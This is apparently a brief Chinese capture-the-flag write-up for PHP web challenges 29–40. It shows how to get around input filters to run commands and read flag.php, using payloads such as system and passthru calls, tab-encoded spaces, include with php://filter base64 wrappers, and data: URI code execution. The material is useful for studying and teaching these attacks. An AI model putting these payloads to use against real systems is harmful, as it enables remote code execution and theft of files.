WEB29
正则表达式过滤了flag
首先先看看有什么文件, ?c=system(ls);
看到了 flag.php 用*来输出,?c=system('cat fla*');
这时候页面还是空白,但是看前端代码
web30
过滤了system和php
可以换用passthru()代替system (),php继续用*代替
web31
又过滤了一堆
继续用passthru(),cat不行可以用more之类的代替,单引号过滤了用双引号,空格可以用tab代替
c=passthru("more%09fla*");
web32
又过滤一堆符号,首先是分号没了 可以用?>闭合php语句,左括号也没了,所以用带括号的函数就行不通了
这里采用文件包含,?c=include%0a$_POST[test]?>
让test为本地文件测试一下。
成功,再使用伪协议,test=php://filter/read=convert.base64-encode/resource=flag.php
对结果base64解码
web33-web36
过滤的越来越多
payload和web32一样,不再赘述
web37
这里c参数不是执行,而是包含
使用 ?c=data:text/plain,<?=system("cat fla*");?>
web38-39
同上
web40
过滤一大堆,之前的伪协议也没法用了。